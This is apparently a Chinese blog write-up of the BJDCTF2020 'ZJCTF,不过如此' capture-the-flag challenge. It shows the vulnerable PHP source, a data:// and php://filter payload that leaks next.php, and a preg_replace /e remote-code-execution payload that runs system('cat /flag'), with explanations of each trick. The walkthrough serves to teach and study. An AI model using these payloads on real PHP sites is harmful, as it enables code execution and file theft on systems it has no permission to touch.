[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream"))//text的内容是……,这里用data伪协议写入
{
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){//file里没有flag
        die("Not now!");
    }

    include($file);  //next.php//告诉我们在next.php里面,用filter伪协议打开
    
}
else{
    highlight_file(__FILE__);
}
?>
?text=data://text/plain,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php

在这里插入图片描述
base64解码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(    // preg_replace /e漏洞
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";//调用complex函数
}

function getFlag(){
	@eval($_GET['cmd']);//目标当然是调用getFlag函数
}
知识点:preg_replace /e漏洞
  1. 在preg_replace($pattern, $replacement, $subject)函数中,
    p a t t e r n 以 / e 结 尾 时 pattern以/e结尾时 pattern/ereplacement的值会被作为php函数执行。
    也就是相当于eval($replacement)
  2. PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。而这里所说的解析变量,包括了执行函数。打个比方:
    $b=”${phpinfo()}”;,就相当于执行phpinfo(),
    而这次我们要执行的函数就是getFlag(),即为"${getFlag()}"
  3. 那么其中的//1是什么意思呢?这里再穿插一个知识点:
    正则表达式中,两个圆括号的特性,将两个圆括号内表达式的相关匹配(匹配的字符串)存储到临时缓冲区,可使用\n调用(n<100)
    在题中,//转义为/,所以//1就是/1,即调用正则表达式中第一个圆括号中相关匹配,简单来说,即函数名要为第一个正则匹配 .
    因此,我们的目标就转变为了正则表达式匹配到”${getFlag()}”字符串

所以我们期待的payload应该是

?.*=${getflag()}&cmd=system('cat /flag');

但是 .在url里面会被修改为_

知识点:完全通配

[\s\S]*是完全通配的意思;

  1. [\s]—表示,只要出现空白就匹配;
  2. [\S]—表示,非空白就匹配;
    所以我们\S来代替.
next.php?\S*=${getFlag()}&cmd=system('cat /fl\ag');

(因为是审计next.php的代码,所以跟在next.php后面)

参考:http://www.shijinguowang.com/index.php/2020/09/26/bjdctf2020zjctf%EF%BC%8C%E4%B8%8D%E8%BF%87%E5%A6%82%E6%AD%A4/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值